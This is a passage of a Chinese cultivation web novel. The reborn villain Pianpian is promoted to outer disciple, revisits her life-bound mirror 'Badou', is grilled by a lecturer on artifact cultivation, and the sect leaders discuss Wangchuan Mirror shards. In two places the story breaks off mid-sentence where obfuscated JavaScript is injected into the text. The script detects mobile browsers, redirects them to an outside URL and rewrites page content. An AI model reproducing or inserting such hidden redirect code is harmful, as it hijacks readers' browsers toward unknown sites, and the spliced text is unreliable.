“小废物,我这都是为了你好,给你接这个任务,是为了你能够成长,毕竟……人不能一直当个废物,你说对吧?” “今天的馒头没有了。什么?你怎么跟用这种眼神看着我?别说今天的馒头了,往后一个月,哪怕你办再多的事,干再多的活,我,都,不,会,给,你,一,个,馒,头。” 前世的种种,皆历历在目。 后来她建立了琳琅城,还被惯会记仇,平时又最喜欢搜罗爽文话本的妖星老五司杏问过。 “翩翩,你既然现在有了能力,何不潜入玉宸宫,偷偷教训那几个看人下菜的坏家伙。” 司杏翘着二郎腿,常年捧着话本,见到翩翩望过来,朝她抛了个媚眼。 “要知道,所谓变强的目的,就是要找机会把当初欺辱自己的坏家伙报复回去。” “那句话怎么说来着?” 司杏翻了翻话本,灵光一现。 “莫欺少年穷嘛。” 她当时,又是怎么回复司杏的呢。 “潜入玉宸宫,小事。” “把那几个坏家伙揍一顿,小事。” “但——”那时的翩翩拨了拨自己新做的指甲,是最爱美的小八给她一笔一笔画的,他最喜欢捣鼓这些。 “一只老鹰,有事没事去地上啄一只蚂蚁,未免太过掉价。” 她大度地讲。 结果收获了司杏的白眼,和一句“你这人真的好无聊,我要找小九去聊新话本”的吐槽。 回到现在。 管事师兄此刻正端着架子坐在上首,旁边围着几个惯会溜须拍马的杂役弟子和几个闲着没事来看热闹的外门弟子。 见到翩翩进来,几道或鄙夷、或讥讽、或幸灾乐祸的目光立刻齐刷刷地聚焦在她身上。 “哟,我当是谁呢?这不是我们师妹吗?” 一个尖嘴猴腮的,翩翩记不住名的男子阴阳怪气地开口,“听说你跟着内门的师兄师姐们出去执行任务了?” “怎么,这是……完成任务,凯旋归来了?” 他特意加重了师妹和凯旋两个字。 引得周围几人发出一阵压低了的嗤笑声。 另一个外门弟子抱着臂,斜睨着翩翩,语气更是刻薄:“跟她废什么话?一个连灵根都没有的废物,能活着回来就算她命大了!还完成任务?” “长老,我记得当初把这送死的任务安排给她,不就是因为……” 他话没说完,但意思不言而喻。 当初鲛人镇任务凶险,他们故意将这个看似不可能完成的任务塞给翩翩,本就没指望她能回来,纯粹是想找个由头把她这个碍眼的废物清理出去。 管事师兄掀了掀眼皮,慢悠悠地呷了口茶,连正眼都没给翩翩一个,从鼻子里哼出一声:“既然回来了,就老老实实滚回你的杂役房去!” “杵在这里碍眼做什么?” 大度什么大度。 她人都死了又重生,怎么就不能像老五说的,狠狠打脸呢。 翩翩轻轻笑了起来,身体懒洋洋地往门框上一靠。 她的目光扫过眼前这一张张写满恶意的面孔,最后落在那位带她来的内门师兄身上,语气带着一种天真无邪的疑惑: “师兄,他们好像都很好奇我们来这里是做什么的呢?” 她歪了歪头,笑容甜美又无辜,“要不您来告诉他们,咱们是来干嘛的呀?” 那位内门师兄本来在一旁眼观鼻鼻观心,不欲参与这些底层弟子的龃龉。 此刻被翩翩点名,走上前来。 他一动,身上那属于内门弟子的精纯灵气和特有的服饰标志,立刻让管事师兄和那几个狗腿子脸色一变。 管事师兄更是“噌”地一下从椅子上站了起来。 脸上那点倨傲瞬间消失不见,换上了一副略带谄媚的笑容。 连忙拱手行礼:“不知内门师兄驾临,有失远迎,恕罪恕罪!” 那几个杂役和外门弟子也瞬间噤声,缩着脖子,大气都不敢出。 内外门之间,看似只差一个字,实则隔着天堑。 内门弟子意味着更高的天赋、更受宗门重视、享受更优渥的资源和更尊崇的地位。 绝不是他们这些外门甚至杂役可以轻易得罪的。 内门师兄面无表情,只是公事公办地开口,声音平淡却带着不容置疑的权威:“奉掌门谕令,带弟子翩翩前来更换身份玉玦。” “她已由掌门亲自下令,晋升为外门弟子。” 什么?! 晋升外门弟子?! 还是掌门亲自下令?! 这话如同平地惊雷,在耳边炸响。 管事师兄那张干瘦的老脸瞬间涨成了猪肝色,眼睛瞪得溜圆,嘴巴张得能塞进一个鸡蛋,指着翩翩,手指都在颤抖:“她?她……翩翩?晋升外门?师兄……您,您没弄错吧?她可是个无灵根的废……” “嗯?” 内门师兄眉头一皱,一股淡淡的威压散发出来,“你在质疑掌门的决定?还是在质疑我传达的谕令?” “不敢!不敢!” 管事长老吓得冷汗都出来了,连连摆手,却又实在难以接受这个事实,忍不住又确认了一遍,“可是师兄……这,这翩翩她毫无修为,资质……实在是……掌门怎么会……” 翩翩在一旁凉凉地开口,声音不大,却足以让每个人都听得清清楚楚:“长老,您这意思,是觉得这位内门的师兄在假传掌门谕令呢?还是觉得掌门他老人家……老眼昏花,识人不明啊?” 这话简直是杀人诛心。 管事长老吓得魂飞魄散,腿一软,差点当场给内门师兄跪下:“不不不!弟子绝无此意!绝无此意啊!师兄明鉴!是弟子……弟子一时糊涂!口不择言!” 他再不敢多问,几乎是连滚带爬地跑去取来了新的身份玉玦和对应的弟子服饰、资源配给等物。 那动作麻利得,仿佛慢了一秒就会大祸临头。 办理手续的过程中,他的手一直在抖。 好几次差点把东西掉在地上。 翩翩好整以暇地看着他这副狼狈模样,等到一切交接完毕,她拿起那枚刻着外字、散发着柔和绿光的崭新玉玦。 在手里掂了掂。 然后对着面如死灰的管事师兄,露出了一个极其灿烂、却又带着明显嘲讽的笑容: “说起来,还真要多谢师兄您当初慧眼识珠,特意把鲛人镇那么重要的任务安排给我呢。” 她语气轻快,仿佛真心实意地在道谢,“要不是有这份机缘,我恐怕也没机会立下点微末功劳,更没机会得到掌门青睐,晋升这外门弟子呢!” “您说,是不是啊,师兄?” 管事师兄一口气没上来,喉咙里发出“嗬嗬”的声响,脸由红转青,再由青转白,捂着胸口,指着翩翩,你了半天。 一个字也说不出来,眼看就要背过气去。 翩翩却不再看他,对着那位内门师兄甜甜一笑:“有劳师兄了。” 然后,拿着属于自己的东西,脚步轻快地转身离开,留下身后一片死寂和某个快要气晕过去的管事师兄。 —————— 果然,还是外门弟子好哇。 翩翩无不感慨。 她不用再挤在那几十人甚至上百人一起的大通铺里,闻着各种汗味、脚臭味,听着震耳欲聋的鼾声入眠。 前世,她因为无灵根和怕惹事,没少被同屋的杂役排挤欺负,被褥经常被人故意丢到地上。 甚至被泼上脏水,让她滚出去睡。 现在,她拥有了一座独立的小院。 院子不大,只有一间正房和一个小小的灶间,但胜在清净。 院子里有一棵老槐树,枝叶繁茂,投下斑驳的凉荫。 推开正房的木门,里面陈设简单,一床、一桌、一椅,还有一个简陋的衣柜。 虽然跟她的琳琅城差远了。 但比起杂役房,已经是天堂般的享受。 窗户朝南,阳光可以毫无阻碍地洒进来,驱散潮湿和阴冷。 翩翩花了点时间将小屋收拾干净,铺上领来的新被褥。 虽然料子普通,但柔软干燥,带着阳光的味道。 她将自己扔在柔软的床铺上,满足地喟叹一声。 自由的感觉,真好。 不用胆战心惊的活着,真好。 枕边,那枚崭新的、刻着外字的玉玦,正散发着隐隐的、温润的绿色光芒。 象征着她在玉宸宫新的身份。 喧嚣过后,是难得的宁静。 确认小院周围没有窥探的视线和神识后,翩翩盘膝坐起,脸上的慵懒和戏谑尽数收敛,取而代之的是一种前所未有的郑重和隐隐的激动。 是时候了。 她深吸一口气,缓缓抬起手,指尖带着一丝微不可查的颤抖,轻轻抚上了自己的左眼。 没有疼痛,没有异象。 只有一种血脉相连、灵魂共鸣的奇异感觉,自眼底深处悄然苏醒。 下一刻,一点微弱的、几乎难以察觉的蓝色光晕,自她左眼瞳孔深处浮现。 那光晕如同投入静湖的石子,荡开一圈圈涟漪,渐渐凝聚、实质化。 一面古朴的、边缘带着些许不规则痕迹的镜子虚影,缓缓自她眼前浮现而出。 镜子不大,只有巴掌大小,通体呈现一种深邃的幽蓝色,镜身之上,流淌着天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495797|202494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然形成的、玄奥繁复的银色纹路,那些纹路仿佛活物,在缓缓流动,蕴含着某种难以言喻的法则之力。 正是她的本命镜——八斗。 与前世那面光华万丈、气息磅礴、足以搅动风云的本命镜相比,眼前的八斗显得如此渺小、黯淡,甚至有些…… 脆弱。 但它真真切切地存在着,与她心神相连。 翩翩伸出手,指尖带着无限的珍视和一丝不易察觉的颤抖,轻轻触摸上那冰冷却熟悉的镜面。 她声音轻得如同梦呓: “八斗……” “我们……好久不见了。” 八斗。 这是她为她的本命镜取的名字。 还记得当初刚刚凝聚出本命镜时,她兴奋得几天几夜没睡着,绞尽脑汁想给它起一个威风凛凛、霸气侧漏的名字,什么昊天镜、轮回镜、诛仙镜…… 想了一大堆,最后却都觉得配不上这面与她性命交修、独一无二的镜子。 她没什么文化,没上过几天正经学堂,识得的字有限。 前世,在她成为琳琅城主,势力初成时,她曾颇为骄傲地向其他几位妖星宣布她本命镜的名字。 结果,换来的是一片几乎要掀翻屋顶的爆笑。 尤其是那个以毒舌著称、排名第三的妖星玉芊芊,笑得直接趴在了桌子上,捶着桌面,上气不接下气: “不是吧翩翩?!你这本命法器,听着就跟村头养的看门狗叫来福、旺财一个档次!” “你怎么不起个狗剩、狗蛋呢?” “我要是你这镜子,怕不是当场就要羞愤自尽,碎给你看!” 其他几人也笑得东倒西歪,纷纷吐槽这名字实在太接地府。 翩翩当时气得差点跟玉芊芊打起来。 但最后还是梗着脖子,坚持就用这个名字。 翩翩没什么傲人的家世,也无任何背景。 相比于其他反派傲人的家世,以及狗血的童年经历。 她普通得简直不像个名震修仙界的反派角色。 她小时候,生活在一个偏僻穷苦的小山村。 家里孩子多,她是第四个,前面三个都是哥哥。 当她娘生下她,发现又是个女孩时,她那重男轻女的便宜爹,当场脸色就黑了。 嫌她是赔钱货,差点直接把她拎到后山埋了。 所幸那年风调雨顺。 家里难得多收了八斗米。 就因为这多出来的八斗米,她娘哭着求着,说她是个带来好运的小福星,她爹才勉强松口,留下了她一条小命。 “小福星,小福星。”她娘经常在她耳边这样打趣,轻笑着,揉了揉她毛茸茸的头顶。 “你别听你爹说的,你可是娘的小福星,至于以后——” 她娘温柔地笑着,仰头望着洒落在麦田的夕阳。 “以后你也会给身边的人带来好运的。” 八斗,就是小福星的象征。 是让她活下来的,最朴素的幸运和希望。 她把这个名字,留给了她最重要的伙伴,她的本命镜。 翩翩眼神坚定。 她将八斗虚托在掌心,开始按照前世摸索出的、独属于她的器修法门,运转起本命镜。 器修。 这两个字在如今的修仙界,几乎是禁忌的代名词,被各大宗门明令禁止,被正统修士斥为邪魔外道、旁门左道。 而前世器修的集大成者—— 十大妖星。 更是被正道门派口诛笔伐,加以围剿。 作为曾被誉为妖星之首的翩翩,对此可是深有体会。 她没少因为这身份,承受那些自诩正义之士的唾骂与围攻。 前世偶然路过一座被失魂症困扰、百姓浑噩的城镇,尚未弄清缘由,便有正道之士义正辞严地指向她:“是她!就是她!定是这个邪魔外道,用阴毒法器吸取了城中百姓的生魂修炼!” 哪怕时间根本对不上,哪怕她只是途经。 当她某日或许心情尚可,偶然出手,帮几个孩童驱散了日益增多、纠缠不休的游魂怨念,免其侵扰。 转头便听到有心人的告诫:“小心!这妖星最会蛊惑人心!别看她现在装作友善,不知背地里想着什么恶毒法子对付你们呢。” 翩翩当时只想冷笑。 这么懂我? 你是邪修,还是我是邪修啊? 哪怕她宅在自己的琳琅城里,大门不出,二门不迈,图个清静。 结果呢? 那些正道人士又有话说了:“看!他们终日龟缩在琳琅城内,这群邪修定然在酝酿什么惊天阴谋!我们不能坐以待毙,必须趁他们尚未成气候,抢先出手,犁庭扫穴,以绝后患!” 翩翩:“……” 什么话都被说尽了。 她是出门也不对,帮忙也不对,躲着也不对。 她是真没招了。 不管翩翩做什么,十大妖星做什么,琳琅城做什么……那群站在道德制高点上的正道,永远都会用一句话来概括—— 邪修能是什么好东西? 然后便是无止境的污名化、排斥、乃至围剿。 想到这里,翩翩嘴角不受控制地勾起一抹苦笑。 人麻了,真的。 她闭上双眼,心神彻底沉入与八斗的连接之中。 八斗悬浮在她的头顶,散发着稳定的莹白微光。 呖呖—— 几声鸟鸣从屋外传来,翩翩推开窗,几只乌鸦从她窗台飞过。 扇动的翅膀落下几根黑色羽毛。 夜还很长。 25. 第二十五章 清晨的钟声悠扬响起,穿透薄雾,回荡在玉宸宫外岛的上空。 这是召集弟子前往讲学堂听学的信号。 对于大多数早已辟谷、专注于修炼的弟子而言,每日的听学或许是个不得不走的过场。 每每提起,总有人眉头紧皱。 仿佛被抽走了大半精气神。 脚步拖沓,哈欠连天。 但对于翩翩而言, 这却是两辈子加起来,破天荒的头一遭。 前世她是杂役弟子,不是在跑腿就是在跑腿的路上,后来虽成了琳琅城主,那也是尸山血海里杀出来的威名。 何曾有过这等安坐学堂、听先生传道授业的经历? 今生就更不必提。 因此,她对这上学一事,像是头次背上行囊前去听学的学子,充满了新奇与连她自己都未曾察觉的期待。 按照学堂的规矩,翩翩换上那身略显宽大的、象征着外门身份的青色弟子服,将刻着外字的玉玦仔细佩戴在腰间。 她在门前踌躇犹豫,深呼吸了好几下,才兴致勃勃地出门去。 循着人流,她走向那座位于外岛中心区域、气势颇为恢弘的讲学堂。 学堂内已然坐了不少弟子,泾渭分明。 前排多是些气息沉稳、眼神专注的内门弟子,而后排及两侧,则是数量更为庞大的外门弟子。 空气中弥漫着墨香与灵气波动。 而负责登记点名的是一位面容严肃、眼神锐利的戒事堂长老。 他接过翩翩递上的身份玉玦,神识扫过,眉头几不可查地动了一下,抬眼看了看她。 “哦,新来的弟子?”他声音平淡,听不出什么情绪。 俗话说,好事不出门,坏事传千里。 但对于谢不舟这种备受宠爱的宝贝疙瘩。 这话要反着读。 显然,关于她被谢不舟带回、又由掌门亲自下令晋升的消息,在高层和核心弟子圈子里或许不是秘密。 但对于广大普通外门弟子和部分管事长老而言,所知有限。 大多只隐约听说有个杂役在鲛人镇立了功,被破格提拔了。 毕竟,谢不舟带回一个女子还闹到掌门面前的消息,实在不算好听。 玉宸宫长老们有意无意地控制了消息传递的范围。 戒事长老没有多问,只是抬手指了指靠近门口、最边沿的一个不起眼的位置:“坐在那里就好。” 翩翩依言走过去,在那张木制条案坐下。 位置偏僻,光线也有些昏暗。 但正所谓后排靠窗,王的故乡。 前琳琅城城主.妖星之首.翩翩反而饶有兴致地打量着这偌大的学堂。 看着周围那些或认真预习、或交头接耳、或神游天外的同窗。 “翩翩姐姐!原来你也在这里!” 一个充满惊喜的、熟悉的声音自身后响起。 紧接着,一只温热的手掌“啪”地一下,热情地按在了她的肩膀上。 翩翩回头,正对上陈澜那张笑得见牙不见眼的灿烂脸庞。 “陈澜?” 她有些意外,“你怎么也来外门听学?” 他不是内门弟子吗? “嘿嘿,我们内门弟子偶尔也要来外门学堂温故知新,或者听听基础课的嘛!” 陈澜笑嘻嘻地在她旁边的空位坐下,凑近低声道,“没想到翩翩姐姐你竟然真的升到外门了!太好了!这简直是天大的好事!” 这时,一道翠色的身影也袅袅婷婷地走了过来,是聆音。 她对着翩翩温柔一笑,也在陈澜另一侧坐下,轻声道:“恭喜师妹。” 翩翩也学着他们拱手行礼:“同喜同喜。” 她从未来过学堂,没见过学堂这么多性格千奇百怪的学子,眼珠咕噜咕噜往四周转,陈澜和聆音顺着翩翩看的方向,一个个给她介绍。 “这个是许师兄,平时就喜欢沉浸在书的海洋里,如果你跟他打招呼,他没理你。不是他高冷,纯粹是他对知识的热爱。” “这位是李师姐,要是她突然热情地给你些什么,千万别接过!她最爱古怪符术和恶作剧,我可没少被她整过。” 陈澜看着李师姐阴测测朝他笑,打了个冷颤。 一道带着明显讥诮和不屑的女声,如同冷水般泼了过来,打破了这一角的温馨。 “呵,新来的弟子……这年头,可真是什么阿猫阿狗都能混进讲学堂,与我们一同听学了。” 声音来自不远处。 只见几个穿着外门服饰、却明显以其中一人为首的弟子,正簇拥着一个身穿鲜艳红衣的少女。 那少女容貌艳丽,眼尾天然带着一抹上挑的绯红,平添几分凌厉与傲气。 她此刻正斜睨着翩翩这边,眼神里的轻蔑几乎要溢出来。 “这位,哼,是讨厌鬼。” 陈澜脸色一沉,给翩翩说完就要起身理论,却被聆音轻轻按住。 聆音低声对翩翩解释道:“翩翩你别理会她。她是戒事长老的女儿,叫红依。仗着她爹的身份,在外门作威作福惯了,最喜欢拉拢一帮人排挤她看不顺眼的弟子。” “我们尽可能别跟她产生正面冲突。” 翩翩点了点头,眼神却止不住地往红依那边瞟。 同为反派角色,甚至翩翩本人还有个所谓的反派大本营,她却鲜少见到如此—— 经典的反派。 因为十大妖星,包括她本人,凡是出现在人前,要脸要面子的场合, 大家都很会装。 但其实—— 这九个妖星各有各的神经。 比如在外界传得翻手为云,覆手为雨的司杏,实则是个连门都不爱出的标准宅女。 被誉为“一见倾人城,再顾倾人国”的小八,每天最爱做的就是找他的本命镜,神经兮兮的问“镜子镜子,谁是全修仙界最美丽的男人?”。 因此,难得见到一个嘴毒貌美,为了搞事而搞事,把“我是反派”写在脸上的红依。 翩翩简直兴奋地不得了。 天杀的,比起前世的那群顶着反派头衔,干着神经病事的一群奇葩。 这才是加入琳琅城的好苗子。 于是翩翩一直用一种看好苗子的眼神,慈爱地盯着红依看。 陈澜:“……翩翩姐姐是不是要搞事?” 聆音:“……虽然不理解,但尊重。” 红依:“………” 更想骂人了怎么办? 所谓听学,分为文课与武课。 上午是文课。 主要讲授仙门历史源流、各大宗门势力分布、妖魔图鉴辨识,以及一些基础术法的理论原理。 授课的是一位头发花白、穿着洗得发白的旧道袍的老先生。 他显然学识渊博,对各类典籍掌故信手拈来,但—— 那慢悠悠、一字一顿、如同老和尚念经般的语调,以及时不时就要引经据典、发散开去讲上大半天的习惯,实在很容易让人…… 神游天外,昏昏欲睡。 讲堂里已经隐隐响起了轻微的鼾声。 翩翩起初还听得认真,毕竟这些都是她学识里的空白领域。 但听着听着,那催眠的语调也让她开始有些眼皮打架。 就在这时—— “嗖!” 一个被揉得紧紧的小纸团,划过一道轻微的弧线,精准地落在了她的案几上。 翩翩抬眼望去。 只见前排的陈澜正偷偷回头,对着她挤眉弄眼,比划着一个打开看看的动作。 她有些好笑,又有些好奇,难道有什么要紧事? 她小心翼翼地展开纸团。 只见上面用歪歪扭扭的字迹写着: 【中午想吃些什么?】 【我带了超多好吃的!】 翩翩:“…………” 她差点没忍住笑出声来。 这年头修行者上课传纸条,内容居然是讨论中午吃什么? 玉宸宫的未来,看起来真是… 前途一片光明啊! 她无奈地摇了摇头,拿起笔,想了想,在那纸条背面写上【烧鸡腿!多多益善!】。 然后趁着老先生转身在黑板上书写的间隙,手腕一抖,准备将纸团扔回去。 然而,就在纸团脱手而出的刹那—— “嗯?” 那背对着众人、看似专心板书的老先生,后脑勺仿佛长了眼睛一般,猛地转过身来。 两道如同实质般的锐利目光,如同脑袋后长了眼睛,瞬间锁定了刚刚完成投掷动作、手还僵在半空的翩翩。 以及那个正在空中的小纸团。 “啪嗒。” 纸团掉在地上,在寂静的学堂里发出清晰的声响。 完蛋! 翩翩心里咯噔一下。 “后排那位……新来的青衣弟子!” 老先生眯着眼睛,声音带着不容置疑的威严,“你,站起来!” 整个学堂的目光,瞬间齐刷刷地聚焦到了翩翩身上。 有同情,有担忧,有看好戏的兴奋,更多的则是事不关己的漠然或隐隐的幸灾乐祸。 翩翩硬着头皮站了起来。 “既然你觉得老朽所讲的内容无趣,需要靠传纸条来打发时间,” 老先生踱步到她面前,捡起那个纸团,看都没看,随手碾碎,目光灼灼地盯着她,“想必是对这些知识早已了然于胸,不屑一听了吧?” 他顿了顿,嘴角勾起一抹没什么温度的弧度:“既然如此,老朽便考考你,如何?” 翩翩心里叫苦不迭,面上却只能努力维持镇定:“弟子不敢,请先生提问。” 老先生背着手,在讲堂前方踱了两步,慢悠悠地开口:“第一个问题,说说你对当今妖界之主,无忧的认识。” 这个问题一出,不少弟子都竖起了耳朵。 妖主无忧,神秘强大,是修仙界公认的顶尖强者之一,也是各大宗门重点研究的对象。 翩翩眨了眨眼,几乎没怎么思考,脱口而出:“回先生,此人……有些无聊,恶趣味浓厚,喜欢看热闹不嫌事大。不过……” 她回想了一下那身骚包的打扮,“穿衣品味倒是不错,很会打扮。” “就是……人长得挺普通的,没什么特色。” 整个讲堂:“……” 死一般的寂静。 连角落里打鼾的弟子都被这诡异的安静惊醒了。 老先生脸上的肌肉抽搐了一下,握着戒尺的手紧了紧,声音从牙缝里挤出来:“我是让你评价他的长相和衣着吗?!” “我是让你分析他的实力、势力、行事风格以及对三界的影响!” “哦。” 翩翩恍然,随即又有些为难地皱了皱眉,“可弟子觉得,他那人最大的特点,就是无聊和恶趣味啊。实力嘛,是挺强的,具体多强……嗯,反正打不过谢师兄?” 她最后一句带着点不确定的猜测。 只有亲身经历过鲛人镇事件的陈澜和聆音,在一旁拼命点头,深以为然。 没错!那妖主就是很无聊! 恶趣味爆棚! 老先生深吸了一口气,似乎强压下了把戒尺扔过来的冲动,决定换个方向:“好,那我们换个问题。术法理论篇,你来说说,论器修的妖邪之处!” 这可真是撞到枪口上了。 问到了她的老本行。 翩翩眼睛瞬间亮了一下,腰杆都不自觉地挺直了。 她清了清嗓子,开始侃侃而谈。 “回先生,弟子以为,所谓器修不过是另辟蹊径,探寻力量本源的一种方式。与灵根修行相比,器修更注重人与器的融合……” “住口!胡言乱语!满口荒唐!” 老先生气得胡子都翘了起来,用力一拍案几,发出“砰”的一声巨响,打断了翩翩慷慨激昂的回答。 他指着翩翩,手指都在发抖:“你、你一个刚入外门的小弟子,懂什么器修?就敢在此大放厥词,颠倒是非?” “你难道是器修吗?啊?” 翩翩被他吼得一缩脖子,差点脱口而出“不敢妄自菲薄,但我真是”。 但话到嘴边又猛地咽了回去,变成了一句底气不足的:“我……我不是。” “既然不是,那就给我老老实实听着!” 老先生余怒未消,唾沫星子几乎要喷到翩翩脸上,“器修,以自身器官或外物为祭,强行攫取力量,违背天道自然,根基不稳,易生心魔,且力量来源诡异,多为阴邪煞气!” “此乃修仙界共识!是经过无数先辈验证的真理!我说的,难道还有错吗?” 看着老先生那副“你敢说个不字我就立刻清理门户”的架势,以及周围那些或嘲弄或畏惧的目光,翩翩明智地选择了……怂。 她低下头,用细若蚊蚋、委屈巴巴的声音,弱弱地回答道: “对。” “……您说的,都对。” 好不容易熬到文课结束,翩翩几乎是虚脱般地坐回椅子上,捏了一把额头上并不存在的冷汗。 这老先生,战斗力也太强了。 陈澜和聆音立刻围了过来。 “对不起啊翩翩姐姐!” 陈澜一脸愧疚,像只做错了事的小狗,“都是我不好,传纸条连累你了。” 翩翩看着他这副样子,心里的那点郁闷也散了。 她伸手揉了揉他毛茸茸的头顶,笑道:“没事,不怪你。不过下次传纸条,记得选个先生打瞌睡的时候。” 陈澜立刻又精神起来,献宝似的从自己的储物戒里掏出一个油纸包,打开一看,里面是两只烤得金黄酥脆、香气扑鼻的烧鸡腿。 “饿了吧?就知道翩翩姐姐这会儿肯定饿了!” “我早上特意去师姐那里拿的!快尝尝!” 原来他传纸条是真的惦记着她会饿。 这时,聆音也微笑着递过来一个油纸包,里面是层层叠叠、做得极其精致漂亮的桂花糕,散发着清甜的香气。 “是……我自己闲着无事做的,如果你不嫌弃的话……” 聆音有些不好意思地说道。 翩翩直接拿起一块桂花糕塞进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495798|202494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘴里,软糯香甜,入口即化。 她眼睛一亮,由衷地赞道:“好吃!师姐你手艺真好!” 三人围在一起,分享着食物,刚才课堂上的那点不愉快似乎也烟消云散。 陈澜叽叽喳喳地说着内门听来的趣事,聆音偶尔温柔补充,翩翩一边啃着鸡腿,一边听着。 只觉得这学堂生活,虽然有点小波折,但似乎…… 也不赖? —————— 天元历九千二百三十八年。 这是一个注定要被载入史册的年份。 尽管在当时,绝大多数人并未立刻意识到—— 那悄然降临的灾祸究竟意味着什么。 最初的征兆,起于忘川与人界的微妙平衡被打破。 生魂不入轮回。 并非地府拒收,也非引渡使者懈怠,而是那横亘于生死之间、掌管着往生秩序的神器—— 忘川镜。 其运转出现了无人能解的波动。 原本应当循着镜光指引,安然渡过忘川,前往彼岸投胎的魂灵,如今却如同迷途的羔羊,在镜面映照的边界徘徊、滞留。 由此引发的后果无疑是严峻的—— 孤魂野鬼的数量以惊人的速度增加。 它们失去了归处,怨气与执念在凡尘中积累。 白日隐匿,夜间游荡。 滋扰生灵,附体作乱。 使得许多原本安宁的城镇村落,一夜之间变得鬼气森森,人心惶惶。 更令人恐惧的是新生婴儿的失魂之症。 甫一降生的婴孩,本该拥有最纯净无暇的先天之魂,如今却频繁出现魂魄不全,乃至完全无魂的状况。 这些孩子要么痴傻呆愣,如同木偶,要么直接气息断绝,沦为死胎。 恐慌如同瘟疫般蔓延。 凡间王朝祭祀不断,祈求上苍,却得不到任何回应。 有精通卜筮的隐士大能,耗尽心血窥探天机,最终呕血断言—— 此非天灾,乃镜祸。 若长此以往,人界必将迎来灭顶之灾! 当然,也有乐观或自负者认为,根源既在忘川镜,那便找到它,修复它即可。 毕竟,如今的修真界能人辈出,大能修士翻江倒海、摘星拿月亦非难事,难道还寻不回散落的忘川镜碎片,修复不了一件神器? 最后,所有线索的矛头,最终都指向了一个看似不起眼的起点—— 一座位于深海之下的,名为鲛人镇的边陲小镇。 也是在那里,确认出现了第一枚引动祸端的忘川镜碎片。 玉宸宫,大殿。 庄严肃穆的大殿之内,气氛凝重得几乎能滴出水来。 掌门玄胤真人端坐于上首主位,两侧是宗门内位高权重的各位长老,此刻皆面色沉肃,目光齐聚于大殿中央那道挺拔如孤松的身影之上。 “不舟。” 玄胤真人开口,声音沉稳,却带着不容置疑的威压,“说说你在鲛人镇的发现。” 站在大殿中央的,正是刚从鲛人镇归来不久的谢不舟。 他身姿笔挺,即便面对满座宗门高层,神色依旧是一贯的平静,只是那双清澈的眸子里,比往日更添了几分凝肃。 “回禀掌门,诸位长老。” 谢不舟拱手,声音清晰而稳定,“弟子在鲛人镇,确实证实了失魂症状的婴孩存在。其根源,乃是一修为高深的鲛人,以幻术与邪法攫取婴孩生魂,试图凝聚魂力,冲击自身瓶颈。” 他顿了顿,继续道:“而支撑那鲛人行此逆天之举的核心,正是一枚……忘川镜碎片。” 尽管早有预料,但当忘川镜碎片这几个字从谢不舟口中明确说出时,大殿内依旧响起了一片压抑的吸气声。 “那你可将那碎片取回?”一位性子急切的长老忍不住脱口问道。 话一出口,他便意识到不妥。 若碎片已顺利寻回,他们此刻又何须在此严肃商讨? 果然,谢不舟微微摇头:“弟子未能取回碎片。” 他抬起眼,目光扫过诸位长老,说出了那个让所有人都心头一沉的名字:“那枚碎片,最后被妖界之王——无忧,夺走。” “妖王无忧?!” “怎么会牵扯到妖族?” 长老们面面相觑,脸上写满了惊疑与凝重。 谢不舟补充了最关键,也最令人不安的一点:“而且,那枚忘川镜碎片,似乎与妖王有着极大关联。并非妖王强行摄取,而是……那碎片仿佛受其召唤,自行脱离了鲛人的掌控,温顺地被他收回。” 他详细描述了当时的情景。 妖王无忧现身,并未直接出手抢夺,只是现身,那枚搅动得鲛人镇天翻地覆、蕴含着莫测幽冥之力的碎片,便如同倦鸟归林,主动投入其掌中,光华内敛,温顺异常。 “弟子觉得,” 谢不舟总结道,语气肯定,“此事,和妖王无忧,有不小的关联。” 高台之上,陷入了一片死寂。 人族与妖族,早在三千年前便定下了井水不犯河水、互不轻易踏入对方地界的协定。 数千年来,虽有小摩擦,但大体相安无事,这也使得人界修士对妖界的了解并不多。 妖王无忧,更是神秘莫测,其实力深不可测,是足以令整个人族修真界都忌惮三分的恐怖存在。 一位长老试探着,带着最后一丝侥幸问道:“不舟,你可看清了?那确定是忘川镜的碎片,不是别的什么类似之物?或许是妖族的某种圣物……” “弟子确定,是忘川镜碎片。” 谢不舟的回答没有丝毫犹豫,斩钉截铁。 他前世追寻忘川镜碎片与下落直至重返当年,对那碎片的气息、形态、蕴含的法则韵味,早已刻入灵魂深处,绝不可能认错。 他这边一肯定,整个大殿再次陷入了更深的沉默,落针可闻。 妖界? 妖王? 他要这忘川镜碎片有何用? 这是萦绕在所有人心头的巨大疑问。 妖族天生拥有强大的妖力,他们的魂魄与肉身紧密相连,一旦身死,魂魄往往随之消散,不能如人族般进入轮回。 忘川镜掌管的人族轮回秩序,对妖族而言,几乎毫无意义,说是一件破摆设也并不为过。 妖王无忧,煞费苦心,夺取这对他而言无用的碎片,目的何在? 种种疑团,如同厚重的阴云,笼罩在凌霄殿上空。 玄胤真人环视一圈,见众人皆眉头紧锁,知今日难以讨论出结果,遂叹了口气,挥了挥手:“罢了,此事牵扯甚大,需从长计议。今日暂且到此,诸位先回吧。” 众长老纷纷起身,行礼告退,个个面色沉重。 谢不舟也随着人流走出大殿。 他走得果决,因此未曾注意到。 在他走后,一只漆黑的乌鸦停在掌门玄胤的掌中。 “哦?翩翩?” “那个杂役,不,现在已经是外门弟子了。” 玄胤沉思片刻。 